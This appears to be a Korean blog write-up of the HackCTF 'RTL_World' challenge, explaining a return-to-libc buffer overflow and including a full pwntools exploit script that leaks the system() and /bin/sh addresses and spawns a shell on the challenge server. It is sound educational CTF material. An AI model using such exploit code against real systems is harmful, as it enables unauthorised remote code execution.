HACKCTF - RTL_World

2020. 8. 16. 11:17CTF's Write-up

문제화면

 

 

RTL을 활용해서 푸는 문제로 보이고, 파일하나를 주니 다운받아서 실행했습니다.

 

실행화면

 

장문의 text형식 (case문) 의 문제 구성이군요.

3번과 4번을 보게되면 3번에서 sys함수주소를주고, 4번에서 binsh 주소를 줍니다.

 

ida main

 

12번줄 --> system주소

14번줄 --> /bin/sh 찾기

 

12번줄

 

14번줄

 

이렇게 두개의 함수를 얻으면 바로 exploit이 가능합니다.

 

취약점이 발생하는 부분은 5번을 누르게되면 입력받는 창이 나오는데

 

5번

 

 

 

bof

 

이 부분에서 bof가 일어나게됩니다.

 

익스플로잇코드는 dummy[0x8c] + sfp[0x4] + system주소 + dummy[0x4] + binsh주소 입니다.

 

초기에 돈을 많이 벌어둬야지 3,4번이 가능하므로 해당 코드도 추가하면 됩니다.

 

아래는 exploit코드입니다.

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
 
= remote("ctf.j0n9hyun.xyz"3010)
= ELF("./rtl_world")
context.log_level = 'debug'
 
#addmoney
for i in range(010) :
    r.recvuntil(">>> ")
    r.sendline("2")
    r.recvuntil(">>> ")
    r.sendline("3")
 
#getsys
r.recvuntil(">>> ")
r.sendline("3")
r.recvuntil(" : ")
system = int(r.recv(10), 16)
log.info("system_add = " +hex(system))
 
#getbinsh
r.recvuntil(">>> ")
r.sendline("4")
r.recvuntil(" : ")
binsh = int(r.recv(10), 16)
log.info("binsh_add = " + hex(binsh))
 
#setpayload
payload = ""
payload += "A"*0x8C+"A"*0x4
payload += p32(system)
payload += "A"*0x4
payload += p32(binsh)
 
 
#exploit
r.recvuntil(">>> ")
r.sendline("5")
r.recvuntil(" > ")
r.sendline(payload)
r.interactive()
cs

'CTF's Write-up' 카테고리의 다른 글

HACKCTF - Pwning  (0) 2020.08.23
DreamHack - rev-basic-8  (0) 2020.08.17
HACKCTF - g++ pwn  (0) 2020.08.14
HACKCTF - Classic Cipher -2  (0) 2020.08.13
HACKCTF - Look at me  (0) 2020.08.12